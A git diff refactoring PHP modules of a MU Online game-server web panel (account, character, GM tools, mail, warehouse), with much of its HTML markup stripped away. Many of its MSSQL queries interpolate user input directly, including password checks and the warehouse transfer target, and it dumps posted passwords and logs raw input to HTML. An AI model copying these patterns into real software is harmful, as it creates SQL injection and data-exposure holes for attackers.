+ $errorValidates = false; + foreach ($validates as $field => $rule) { + if (!isset($_POST[$field]) + || strlen($_POST[$field]) < $rule['len_min'] + || strlen($_POST[$field]) > $rule['len_max'] + || ($rule['cont'] === 'alpha' && !preg_match('/^[a-z\d_-]*$/i', $_POST[$field])) + || ($rule['cont'] === 'email' && !filter_var($_POST[$field], FILTER_VALIDATE_EMAIL)) + || (isset($rule['equal']) && $_POST[$field] !== $_POST[$rule['equal']]) + ) { + echo $rule['label']; + var_dump($_POST[$field]); + var_dump($_POST[$rule['equal']]); + $errorValidates = true; + } + } + + if ($errorValidates !== true) { + $throwError = false; + + $oldPassword = stripslashes($_POST['old_password']); + $newPassword = stripslashes($_POST['new_password']); + $renewPassword = stripslashes($_POST['renew_password']); + + $queryPassword = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$oldPassword}', '{$_SESSION['user']}')" + : "'{$oldPassword}'"; + $passwordCheck = mssql_num_rows(mssql_query("SELECT memb___id FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}' AND memb__pwd={$queryPassword}")); + + if ($acc_online_check !== 0) { + $throwError = true; + echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; + } + if ($passwordCheck === 0) { + $throwError = true; + echo $die_start . mmw_lang_invalid_current_password . $die_end; + } + + if (!$throwError) { + $queryPassword = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$newPassword}', '{$_SESSION['user']}')" + : "'{$newPassword}'"; + + mssql_query("UPDATE dbo.MEMB_INFO SET [memb__pwd]={$queryPassword} WHERE memb___id ='{$_SESSION['user']}'"); + + $_SESSION['pass'] = $newPassword; + echo $okey_start . mmw_lang_password_changed . $okey_end; + } + } + echo $rowbr; +} + +if (isset($_POST['profile'])) { + $fullName = clean_var(stripslashes($_POST['full_name'])); + $age = clean_var(stripslashes($_POST['age'])); + $country = clean_var(stripslashes($_POST['country'])); + $avatar = clean_var(stripslashes($_POST['avatar'])); + $gender = clean_var(stripslashes($_POST['gender'])); + $hide_profile = clean_var(stripslashes($_POST['hide_profile'])); + $y = clean_var(stripslashes($_POST['y'])); + $msn = clean_var(stripslashes($_POST['msn'])); + $icq = clean_var(stripslashes($_POST['icq'])); + $skype = clean_var(stripslashes($_POST['skype'])); + + mssql_query("UPDATE dbo.MEMB_INFO SET [memb_name]='{$fullName}',[country]='{$country}',[gender]='{$gender}',[age]='{$age}',[avatar]='{$avatar}',[hide_profile]='{$hide_profile}',[y]='{$y}',[msn]='{$msn}',[icq]='{$icq}',[skype]='{$skype}' WHERE memb___id='{$_SESSION['user']}'"); + writelog('profile', 'Acc ' . $_SESSION['user'] . ' Has Been Change: [memb_name]=' . $fullName . ',[country]=' . $country . ',[gender]=' . $gender . ',[age]=' . $age . ',[avatar]=' . $avatar . ',[hide_profile]=' . $hide_profile . ',[y]=' . $y . ',[msn]=' . $msn . ',[icq]=' . $icq . ',[skype]=' . $skype); + echo $okey_start . mmw_lang_profile_edited . $okey_end; + + echo $rowbr; +} + +if (isset($_POST['new_request'])) { + if (empty($_POST['subject']) || empty($_POST['msg'])) { + echo $die_start . mmw_lang_left_blank . $die_end; + } else { + $title = bugsend(stripslashes($_POST['subject'])); + $msg = str_replace('[br]', '
', bugsend(stripslashes($_POST['msg']))); + $text = 'Acc: ' . $_SESSION['user'] . ', New Request Title: ' . $title . '
' . $msg . '
All Those On ' . date('d.m.Y H:i:s') . ' By ' . $_SERVER['REMOTE_ADDR'] . '
' . PHP_EOL; + $fp = fopen('logs/request.htm', 'a'); + fputs($fp, $text); + fclose($fp); + echo $okey_start . mmw_lang_request_sent . $okey_end; + } + echo $rowbr; +} + +$accInfo_result = mssql_query("SELECT mail_addr,memb_name,age,country,gender,avatar,hide_profile,y,msn,icq,skype,appl_days FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}'"); +$accInfo = mssql_fetch_row($accInfo_result); + +$timeInfo_result = mssql_query("SELECT ConnectTM,DisconnectTM FROM dbo.MEMB_STAT WHERE memb___id='{$_SESSION['user']}'"); +$timeInfo = mssql_fetch_row($timeInfo_result); + +// Referral +if ($mmw['referral']['switch']) { + $referral_list = mmw_lang_no_referral; + $referral_num_check = 0; + + $referral_result = mssql_query("SELECT memb___id,ref_check FROM dbo.MEMB_INFO WHERE ref_acc='{$_SESSION['user']}'"); + if ($referral_num = mssql_num_rows($referral_result)) { + $rank = 0; + $referral_list = ''; + while ($referral_row = mssql_fetch_row($referral_result)) { + $rank++; + if (empty($referral_row[1])) { + $char_ref_sql = mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$referral_row[0]}' AND {$mmw['reset_column']} > 0"); + if (mssql_num_rows($char_ref_sql)) { + $referral_row[1] = 1; + $referral_character = mssql_fetch_row($char_ref_sql)[0]; + mssql_query("UPDATE dbo.MEMB_INFO SET [ref_check]=1 WHERE memb___id='{$referral_row[0]}'"); + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney] + {$mmw['referral']['zen']} WHERE AccountID='{$_SESSION['user']}'"); + writelog('referral', 'Account ' . $_SESSION['user'] . ' Has Been GET Zen: ' . $mmw['referral']['zen'] . '|For Acc: ' . $referral_row[0] . '|For Char: ' . $referral_character); } } + + $referralStatus = empty($referral_row[1]) + ? mmw_lang_have_not_a_reset + : mmw_lang_have_a_reset; + $referral_list .= $rank . '. ' . $referral_row[0] . ' (' . $referralStatus . ')
'; + + if (!empty($referral_row[1])) { + $referral_num_check++; + } } - if($referral_row[1]==1) {$ref_status = mmw_lang_have_a_reset;} else {$ref_status = mmw_lang_have_not_a_reset;} - $referral_list = $referral_list . "$rank. $referral_row[0] ($ref_status)
"; } - } - else { - $referral_list = mmw_lang_no_referral; - } - $referral_result_check = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE ref_acc='$login' AND ref_check='1'"); - $referral_num_check = mssql_num_rows($referral_result_check); - } - // Online - if($acc_info[6]==1) {$hide_profile = mmw_lang_yes;} else {$hide_profile = mmw_lang_no;} - $country = country($acc_info[3]); - - // Offline - if($acc_info[4]=='female') {$gender_sel[1]="selected";} else {$gender_sel[0]="selected";} - if($acc_info[6]>=0) {$hide_profile_sel[$acc_info[6]]="selected";} - for($i=0; $i<139; ++$i) { - $country = country($i); - if($i == $acc_info[3]){$selected_country="selected";} else{$selected_country="";} - $select_country = $select_country . ""; - } +} ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:?ref=
:
:
:
:
:
: []
:
:
:
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:?ref=
: + + + +
:
:
: + + + +
:
: + + [] + +
: + + + +
:
:
:
:
: +
:
:
:
: +
Yahoo!:
MSN:
ICQ:
Skype:
: + +
: + +
: + +
: + +
: + +
: + +
Yahoo!: + +
MSN: + +
ICQ: + +
Skype: + +
+ + +
- - -
- - - - - - - - - - - - - - - - - -
:
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
+ + + + + +
- - -
- - - - - - - - - - - - - - - - - -
: Administrator
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Contact the administrator
: + +
: + +
: + +
+ + +
\ No newline at end of file diff --git a/modules/user/char.php b/modules/user/char.php index 7239e6f..d80fdab 100644 --- a/modules/user/char.php +++ b/modules/user/char.php @@ -1,185 +1,335 @@ -'> $guildm[0]"; - if($mmw[mix_cs_memb_reset]=="yes") { - $cs_query = mssql_query("SELECT owner_guild,money FROM MuCastle_DATA"); - $cs_row = mssql_fetch_row($cs_query); - if($cs_row[0]==$guildm[0]){ - if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - $cs_memb_reset_proc = '
'.mmw_lang_you_have.': -'.ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ).'%'; + mmw_lang_reset, + 'you_have' => mmw_lang_you_have, + 'add_points' => mmw_lang_add_point, + 'price' => mmw_lang_price, + 'pk_clear' => mmw_lang_pk_clear, + 'select_map' => mmw_lang_select_map, + 'move' => mmw_lang_move, + 'class_price' => mmw_lang_class_price, + 'select_class' => mmw_lang_select_class, + 'change' => mmw_lang_change, + ); + + $char_results = mssql_query("SELECT Name,class,strength,dexterity,vitality,energy,leadership,experience,money,mapnumber,clevel,{$mmw['reset_column']},LevelUpPoint,pkcount,pklevel,CtlCode FROM dbo.Character WHERE Name='{$_SESSION['character']}'"); + $info = mssql_fetch_row($char_results); + + $simpleClass = Character::characterClassToSimpleClass($info[1]); + + $warehouseResult = mssql_query("SELECT extMoney FROM dbo.warehouse WHERE AccountID='{$_SESSION['user']}'"); + $warehouseRow = mssql_fetch_row($warehouseResult); + if (empty($warehouseRow[0])) { + $warehouseRow[0] = 0; + } + $all_money = $info[8] + $warehouseRow[0]; + + $guild_result = mssql_query("SELECT gm.G_Name,g.G_Mark + FROM dbo.GuildMember AS gm + JOIN dbo.Guild AS g ON g.G_Name = gm.G_Name + WHERE gm.Name='{$_SESSION['character']}'"); + $guild_row = mssql_fetch_row($guild_result); + if (empty($guild_row[0])) { + $guildData = mmw_lang_no_guild; + } else { + $guildMark = urlencode(bin2hex($guild_row[1])); + $guildData = << +{$guild_row[0]} +HTML; + } + + + if ($mmw['reset']) { + $resetLevel = $mmw['reset_level'][$simpleClass]; + $resetPrice = $mmw['reset_money']; + + if ($mmw['reset_money_system']) { + $resetPrice *= ($info[11] + 1); + } + if (!empty($mmw['reset_limit_price']) && $mmw['reset_limit_price'] < $resetPrice) { + $resetPrice = $mmw['reset_limit_price']; + } + + $castleSiegeResetNotice = ''; + if ($mmw['cs_memb_reset_discount'] && !empty($guild_row[0])) { + $castle_siege_result = mssql_query("SELECT OWNER_GUILD,MONEY FROM dbo.MuCastle_DATA"); + $castle_siege_row = mssql_fetch_row($castle_siege_result); + if ($castle_siege_row[0] === $guild_row[0]) { + $castleSiegeResetPercent = ($mmw['cs_memb_reset_must_have_zen'] > $castle_siege_row[1]) + ? ceil($castle_siege_row[1] * $mmw['cs_memb_reset_max_percent'] / $mmw['cs_memb_reset_must_have_zen']) + : $mmw['cs_memb_reset_max_percent']; + + $castleSiegeResetNotice = mmw_lang_you_have . ': -' . $castleSiegeResetPercent . '%
'; + $resetPrice -= ceil($resetPrice * $castleSiegeResetPercent / 100); + } + } + + if ($info[10] < $resetLevel) { + $reset = mmw_lang_need . ' ' . $resetLevel . ' ' . mmw_lang_level . '!'; + } elseif ($all_money < $resetPrice) { + $reset = mmw_lang_need . ' ' . zen_format($resetPrice) . ' Zen!'; + } else { + $price = zen_format($resetPrice); + + $reset = << +{$language['price']}: {$price} Zen!
{$castleSiegeResetNotice} + + +HTML; } } -} -if($info[1] >= 0 && $info[1] <= 15) {$reset_level = $mmw[reset_level_dw];} -if($info[1] >= 16 && $info[1] <= 31) {$reset_level = $mmw[reset_level_dk];} -if($info[1] >= 32 && $info[1] <= 47) {$reset_level = $mmw[reset_level_elf];} -if($info[1] >= 48 && $info[1] <= 63) {$reset_level = $mmw[reset_level_mg];} -if($info[1] >= 64 && $info[1] <= 79) {$reset_level = $mmw[reset_level_dl];} -if($info[1] >= 80 && $info[1] <= 95) {$reset_level = $mmw[reset_level_sum];} -if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} + if ($mmw['add_points']) { + if ($info[12] < 1) { + $addPoints = mmw_lang_no_up_point_found; + } else { + $add_command = ''; + if ($simpleClass === 'dl') { + $add_command = 'Command
'; + } + $addPoints = << +{$language['you_have']}: {$info[12]}
+
+ Strength
+ Agility
+ Vitality
+ Energy
+ {$add_command} +
+ + +HTML; + } + } -include("includes/move.php"); -$locations = ''; - - -$add_stats = 'Strength
'; -$add_stats = $add_stats.'Agility
'; -$add_stats = $add_stats.'Vitality
'; -$add_stats = $add_stats.'Energy
'; -if($info[1] >= 64 && $info[1] <= 79){$add_stats = $add_stats.'Command
';} - -if($mmw[mix_cs_memb_reset]=="yes" && $cs_row[0]==$guildm[0]) {$edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000);} -else {$edited_res_money = $mmw['reset_money'];} -if($mmw[reset_system]=='yes') {$resetzen = $edited_res_money * ($info[10] + 1);} -else {$resetzen = $edited_res_money;} -if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetzen) {$resetzen = $mmw[reset_limit_price];} - -if($info[9] < $reset_level) {$reset = mmw_lang_need." $reset_level ".mmw_lang_level.'!';} -elseif( $all_money < $resetzen) {$reset = mmw_lang_need.' '.zen_format($resetzen).' Zen!';} -else {$reset = "
".mmw_lang_price.': '.zen_format($resetzen)." Zen! $cs_memb_reset_proc
";} - -if($info[11] <= 0) {$addpoint = mmw_lang_no_up_point_found;} -elseif($info[11] >= 1) {$addpoint = "
".mmw_lang_you_have.": $info[11]
$add_stats
";} - -if($all_money < $mmw['pkmoney']) {$pkclear = mmw_lang_need.' '.zen_format($mmw['pkmoney'])." Zen!";} -elseif($info[13] <= 3) {$pkclear = mmw_lang_no_pk_status_found;} -elseif($info[13] > 3) {$pkclear = "
".mmw_lang_price.': '.zen_format($mmw['pkmoney'])." Zen!
";} - -if($info[9] < 6) {$move = mmw_lang_need_6_level;} -elseif($all_money < $mmw['move_zen']) {$move = mmw_lang_need.' '.zen_format($mmw['move_zen']).' Zen!';} -else {$move="
".mmw_lang_price.': '.zen_format($mmw['move_zen'])." Zen!
$locations
";} - - -if($mmw[change_class] == 'yes') { - include("includes/change_class.php"); - $change_class_form = ' + +HTML; + } } - $change_class_form .= ''; - $change_class = "
".mmw_lang_class_price."
$change_class_form
"; -} -?> - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0){?> - - - - - - - - - - - - - - - + + + if ($mmw['move']) { + if ($info[10] < 6) { + $move = mmw_lang_need_6_level; + } elseif ($all_money < $mmw['move_zen']) { + $move = mmw_lang_need . ' ' . zen_format($mmw['move_zen']) . ' Zen!'; + } else { + $price = zen_format($mmw['move_zen']); + $locationOptions = ''; + foreach ($mmw['move_list'] as $index => $location) { + $locationOptions .= ''; + } + + $move = << +{$language['price']}: {$price} Zen!
+
+ + +HTML; + } + } + + + if ($mmw['change_class']) { + $changeClassOptions = ''; + foreach ($mmw['change_class_list'] as $index => $row) { + $changeClassOptions .= ''; + } + + $changeClass = << +{$language['class_price']}
+
+ + +HTML; + } + ?> + +
:
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
Zen:
: ()
:
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
: + +
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
Zen:
: + + () +
:
+
+ <?php echo char_class($info[1], 'full'); ?> +

+ +
+ + + +
+ + + +
+ + + +
+ + + +
+ + +
-
- ";?>

- -
- - -
- - -
- - -
- - -
- -
- - \ No newline at end of file + + + - - Your Level: - () - - - Security Code: - - - - Admin Area: - Enter - - +require_once __DIR__ . '/../../includes/shout_msg.php'; -HEX Ware House Can Edit!
" . $rowbr; - //HEX WH - mssql_query("declare @vault varbinary(1920); set @vault=(SELECT Items FROM warehouse where AccountId='$login'); print @vault;"); - $vault = substr(mssql_get_last_message(),2); - $result = mssql_query("SELECT Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row = mssql_fetch_row($result); -?> -
- - - - - - - - - - - -
: :
-
-' . $_SESSION['user'] . ' Has Been
edit wh
: ' . $hex_wh . ' | [Money]=' . $money . ', [extMoney]=' . $extMoney); + } + echo $rowbr; } +if (isset($_POST['gm_msg'])) { + $text = stripslashes($_POST['gm_msg']); -if($mmw[status_rules][$_SESSION[mmw_status]][gm_msg] == 1) { - echo "
GameMaster Chat In Game!
" . $rowbr; - if(isset($_POST[gm_msg])) {$gm_msg = $_POST[gm_msg];} - else {$gm_msg = "$char: TEXT";} -?> -
- - - - - - - -
-
-' . $_SESSION['user'] . ' Has Been
Send Msg
: ' . $text); + } + echo $rowbr; } +if (isset($_POST['block_mode'])) { + $block_mode = intval($_POST['block_mode']); + $entity = clean_var(stripslashes($_POST['entity'])); + $entity_value = clean_var(stripslashes($_POST['entity_value'])); + $account_unblock = clean_var(stripslashes($_POST['account_unblock'])); + $unblock_time = intval($_POST['unblock_time']); + $block_date = clean_var(stripslashes($_POST['block_date'])); + $block_reason = clean_var(stripslashes($_POST['block_reason'])); -if($mmw[status_rules][$_SESSION[mmw_status]][gm_block] == 1) { - echo "
Set Block and UnBlock acc!
" . $rowbr; - $result = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE bloc_code='1' ORDER BY block_date ASC"); - if(@mssql_num_rows($result) <= 0) {$blocked = "";} - else { - for($i=0;$i - +?> -
- +
- - + + - - - + + - - + + - - - - - - - - - - - - - - - - - - -
Mode:Your Level: + + () +
:Security Code:
Block Time:Admin Area:Enter
Block Date:
Block Reason:
-
- + +HEX Warehouse Can Edit!' . $rowbr; + $result = mssql_query("SELECT Money,extMoney,Items FROM dbo.warehouse where AccountId='{$_SESSION['user']}'"); + $row = mssql_fetch_row($result); + $vault = bin2hex($row[2]); + ?> +
+ + + + + + + + + + + +
+ +
+ : + + + : + +
+ + +
+
+ GameMaster Chat In Game!' . $rowbr; + $gmMessage = isset($_POST['gm_msg']) + ? $_POST['gm_msg'] + : $_SESSION['character'] . ': TEXT'; + ?> +
+ + + + + + + +
+ + +
+
+ Set Block and UnBlock acc!' . $rowbr; + $result = mssql_query("SELECT memb___id FROM dbo.MEMB_INFO WHERE bloc_code=1 ORDER BY block_date "); + $blocked = ''; + if (mssql_num_rows($result) > 0) { + $blocked = ''; + while ($row = mssql_fetch_row($result)) { + $blocked .= ''; + } + } + ?> + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode: + +
+ +
Block Time: + +
Block Date:
Block Reason:
+ + +
+
+ -
Thank Vaflan For This MMW!
\ No newline at end of file + \ No newline at end of file diff --git a/modules/user/mail.php b/modules/user/mail.php index 239f3be..ae17d72 100644 --- a/modules/user/mail.php +++ b/modules/user/mail.php @@ -1,125 +1,208 @@ - - - - "; - } +if (isset($_POST['delete_msg_inbox'])) { + $messageId = intval($_POST['delete_msg_inbox']); - $query = "declare @vault varbinary(13); SET @vault=(SELECT Photo FROM T_FriendMail where GUID='$char_guid' and MemoIndex='$view_msg_inbox'); print @vault;"; - //$result = mssql_query($query); - //$vault = substr(mssql_get_last_message(),0); - //echo 'Photo: ' . $vault; -?> - - - - - - - - - - - - - - - - - -
:
:
:
:
- -
- - - - - - - - - - - - - - - - - -
:
:
:
:
-
-= 50) { + echo $die_start . mmw_lang_subject_max_length . $die_end; + } elseif (empty($toGUID)) { + echo $die_start . mmw_lang_character_does_not_exist . $die_end; + } elseif ($toCharacterResult) { + $date = date('Ymd\TH:i:s'); + $context = '0x' . bin2hex($context); -// List Message -if($inbox_msg = @mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,bRead,photo FROM T_FriendMail WHERE GUID='$char_guid' ORDER BY MemoIndex DESC")) {$inbox_msg_num = @mssql_num_rows($inbox_msg);} -else {$inbox_msg_num = 0; echo $die_start . mmw_lang_error_mail_table . $die_end . $rowbr;} -?> - - - - - - - - - - 0) { - for($i=0;$i < $inbox_msg_num;++$i) { - $select_msg = mssql_fetch_row($inbox_msg); + $characterClass = current(mssql_fetch_row(mssql_query("SELECT Class FROM dbo.Character WHERE Name='{$_SESSION['character']}'"))); + $characterPhoto = char_class($characterClass, 'photo'); - $msg_table_view =" - - - "; + $query = "INSERT INTO dbo.T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Photo, Dir, Act) + VALUES ({$memoIndex},{$toGUID},'{$_SESSION['character']}','{$date}','{$subject}',0,{$context},{$characterPhoto},143,2)"; + if (mssql_query($query)) { + mssql_query("UPDATE dbo.T_FriendMain SET + [MemoCount]=[MemoCount]+1, [MemoTotal]=(SELECT COUNT(*) FROM dbo.T_FriendMail WHERE GUID='{$toGUID}') + WHERE GUID='{$toGUID}' + "); + echo $okey_start . mmw_lang_message_sent . ' ' . $toCharacter . $okey_end; + } else { + echo $die_start . 'ErroR Query ' . $context . $die_end; + } + } else { + echo $die_start . 'It does not work in an old version!' . $die_end; + } + echo $rowbr; +} - $msg_table_delete =" - - - "; +// Start View Msg +if (isset($_POST['view_msg_inbox'])) { + $messageId = intval($_POST['view_msg_inbox']); + $view_msg_sql = mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,Memo,bRead FROM dbo.T_FriendMail WHERE GUID='{$characterGUID}' AND MemoIndex='{$messageId}'"); + $view_msg_row = mssql_fetch_row($view_msg_sql); + if (empty($view_msg_row[5])) { + mssql_query("UPDATE dbo.T_FriendMail SET [bRead]=1 WHERE GUID='{$characterGUID}' AND MemoIndex='{$messageId}'"); + } + ?> +
+ + + + + + + + + + + + + + + + +
: + + +
+ + +
+ +
:
:
:
+ ';} - if($select_msg[4]=='1') {$img_msg ='';} +// Start Send Msg +if (!empty($_GET['to'])) { + $send_to = clean_var(stripslashes($_GET['to'])); + $send_msg_subject = ''; + if (isset($_POST['subject'])) { + $send_msg_subject = $_POST['subject']; + } elseif (isset($_POST['send_msg_subject'])) { + $send_msg_subject = 'RE: ' . $_POST['send_msg_subject']; + } + ?> +
+ + + + + + + + + + + + + + + + + +
:
: + +
: + +
: + + + +
+
+ - $select_msg[1] - ".win_to_utf($select_msg[2])." - ".time_format($select_msg[3],"d M Y, H:i")." - $msg_table_view - $msg_table_delete - $img_msg - "; - } + +// List Message +if ($inbox_msg = mssql_query("SELECT MemoIndex,FriendName,Subject,wDate,bRead FROM dbo.T_FriendMail WHERE GUID='{$characterGUID}' ORDER BY MemoIndex DESC")) { + $inbox_msg_num = mssql_num_rows($inbox_msg); +} else { + $inbox_msg_num = 0; + echo $die_start . mmw_lang_error_mail_table . $die_end . $rowbr; } -else {echo ''.mmw_lang_no_message.'';} ?> - \ No newline at end of file + + + + + + + + + + + + + 0) { + while ($select_msg = mssql_fetch_row($inbox_msg)) { + $messageStatus = empty($select_msg[4]) + ? 'msg_unread.gif' + : 'msg_read.gif'; + ?> + + + + + + + + +'; + } + ?> + +
+ status + +
+ + +
+
+
+ + +
+
' . mmw_lang_no_message . '
diff --git a/modules/user/wh.php b/modules/user/wh.php index 565dae3..4482c8f 100644 --- a/modules/user/wh.php +++ b/modules/user/wh.php @@ -1,70 +1,219 @@ - 0) { - $row = mssql_fetch_row($result); - if(empty($row[1]) || $row[1]==" ") {$row[1]="0";} - if(empty($row[2]) || $row[2]==" ") {$row[2]="0";} -?> - - - - - - - - - - - - - - - - - - -".mmw_lang_extra_ware_house.""; - - $result = mssql_query("SELECT AccountID,Name,Money FROM character WHERE accountid='$login'"); - for($i=0;$i < mssql_num_rows($result);++$i) { - $row = mssql_fetch_row($result); -?> - - - - - -$row[1]"; - } -?> -
ZenMax Zen
~
- - - -
- - - - - - - - - - - - - -
Zen
-
- - - - \ No newline at end of file + 'Money', + 'table' => 'warehouse', + 'extend_where' => '', + ); + if ($point === 'ewh') { + $queryBuilder['column'] = 'extMoney'; + } + if (substr($point, 0, 2) === 'ch') { + $queryBuilder['table'] = 'Character'; + $queryBuilder['extend_where'] = "AND Name='" . substr($point, 2) . "'"; + } + + /** @noinspection SqlWithoutWhere */ + $query = empty($update) + ? "SELECT {$queryBuilder['column']} FROM dbo.{$queryBuilder['table']}" + : "UPDATE dbo.{$queryBuilder['table']} SET [{$queryBuilder['column']}] = [{$queryBuilder['column']}] + {$update}"; + + return "{$query} WHERE AccountId='{$_SESSION['user']}' {$queryBuilder['extend_where']}"; +} + +if ($acc_online_check === 0) { + if (isset($_POST['zen'])) { + $from = stripslashes($_POST['from_wh']); + $to = stripslashes($_POST['to_wh']); + $zen = intval(str_replace('k', '000', $_POST['zen'])); + + // From + $queryFrom = whQueryBuilderZen($from); + $resultFrom = mssql_query($queryFrom); + $rowFrom = mssql_fetch_row($resultFrom); + $fromCountZen = empty($rowFrom[0]) + ? 0 + : $rowFrom[0]; + + // To + $queryTo = whQueryBuilderZen($to); + $resultTo = mssql_query($queryTo); + $rowTo = mssql_fetch_row($resultTo); + $toCountZen = empty($rowTo[0]) + ? 0 + : $rowTo[0]; + + $fromEnd = $fromCountZen - $zen; + $toEnd = $toCountZen + $zen; + + $error = false; + if (empty($_POST['from_wh']) || empty($_POST['to_wh']) || empty($_POST['zen'])) { + $error = true; + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif (!preg_match('/^\d+$/', $zen)) { + $error = true; + echo $die_start . mmw_lang_zen_must_be_number . $die_end; + } elseif ($from === $to) { + $error = true; + echo $die_start . mmw_lang_zen_cant_move . $die_end; + } elseif ($fromEnd < 0) { + $error = true; + echo $die_start . mmw_lang_not_Zen_to_move . $die_end; + } elseif ($to != 'ewh' && $toEnd > $mmw['max_char_wh_zen']) { + $error = true; + echo $die_start . mmw_lang_zen_more_max . ' ' . zen_format($mmw['max_char_wh_zen']) . ' Zen!' . $die_end; + } + + if (!$error) { + mssql_query(whQueryBuilderZen($from, -$zen)); + mssql_query(whQueryBuilderZen($to, $zen)); + echo $okey_start . zen_format($zen) . ' ' . mmw_lang_zen_moved . $okey_end; + writelog('money', 'Acc ' . $_SESSION['user'] . ' Has Been from: ' . $fromCountZen . ' ' . $from . '|to: ' . $toCountZen . ' ' . $to . '|how many: ' . $zen . '|from end: ' . $fromEnd . '|to end: ' . $toEnd); + } + echo $rowbr; + } + + $language = array( + 'where' => mmw_lang_where, + 'extra_ware_house' => mmw_lang_extra_ware_house, + 'ware_house' => mmw_lang_ware_house, + 'zen_from' => mmw_lang_zen_from, + 'zen_to' => mmw_lang_zen_to, + 'send' => mmw_lang_send, + 'renew' => mmw_lang_renew, + ); + + $result = mssql_query("SELECT Money,extMoney FROM dbo.warehouse WHERE accountid='{$_SESSION['user']}'"); + + if (mssql_num_rows($result)) { + $whRow = mssql_fetch_row($result); + $whMoney = zen_format(empty($whRow[0]) ? 0 : $whRow[0]); + $whExtraMoney = zen_format(empty($whRow[1]) ? 0 : $whRow[1]); + + $maxCharacterWarehouseZenCount = zen_format($mmw['max_char_wh_zen'], 'small'); + $charactersInfo = ''; + $selectFromTo = '' + . ''; + + $result = mssql_query("SELECT Name,Money FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'"); + while ($row = mssql_fetch_row($result)) { + $zenCount = zen_format($row[1]); + + $charactersInfo .= << + {$row[0]} + {$zenCount} + {$maxCharacterWarehouseZenCount} + +HTML; + $selectFromTo .= ''; + } + + $extendedCurrencies = ''; + if ($mmw['enable_credits']) { + /** @noinspection SqlResolve */ + $credits = mssql_fetch_row(mssql_query("SELECT credits FROM dbo.MEMB_CREDITS WHERE memb___id='{$_SESSION['user']}'"))[0] ?: 0; + $extendedCurrencies .= << + Credits + {$credits} + ~ + +HTML; + } + try { + $csPoints = mssql_fetch_row(mssql_query("SELECT cspoints FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}'"))[0] ?: 0; + $extendedCurrencies .= << + W coin + {$csPoints} + ~ + +HTML; + } catch (Exception $ignored) { + // Do nothing + } + + echo << + + + {$language['where']} + Zen + Max Zen + + + + {$language['extra_ware_house']} + {$whExtraMoney} + ~ + + + {$language['ware_house']} + {$whMoney} + {$maxCharacterWarehouseZenCount} + + {$charactersInfo} + {$extendedCurrencies} + + + {$rowbr} + +
+ + + + + + + + + + + + + + + + +
{$language['zen_from']}
{$language['zen_to']}
Zen + +
+ + +
+
+HTML; + + if (isset($mmw['user_warehouse_addon'])) { + if (is_callable($mmw['user_warehouse_addon'])) { + $mmw['user_warehouse_addon']($_SESSION['user']); + } else { + echo $mmw['user_warehouse_addon']; + } + } + + } else { + echo $die_start . mmw_lang_check_vault_keeper_in_game . $die_end; + } +} elseif ($acc_online_check === 1) { + echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; +} else { + echo $die_start . 'I find you Hacker! :)' . $die_end; +} diff --git a/popunder.txt b/popunder.txt index 53c5edc..ffd74b1 100644 --- a/popunder.txt +++ b/popunder.txt @@ -1,8 +1,8 @@ - \ No newline at end of file + + MyMuWeb TOP! + \ No newline at end of file diff --git a/scripts/functions.js b/scripts/functions.js index e71ccad..f162d7b 100644 --- a/scripts/functions.js +++ b/scripts/functions.js @@ -1,92 +1,246 @@ -// All this Java Script -// Be Find By Vaflan -// And Edited By Vaflan - -function expandit(curobj, hide) { - if(document.getElementById(curobj)) { - folder=document.getElementById(curobj).style; - } - else { - if(ns6==1||operaaa==true) {folder=curobj.nextSibling.nextSibling.style;} - else {folder=document.all[curobj.sourceIndex+1].style;} - } - if(folder.display=="none") {folder.display="";} - else {folder.display="none";} - if(hide) { - var hide_objects = hide.split(","); - for(i=0; i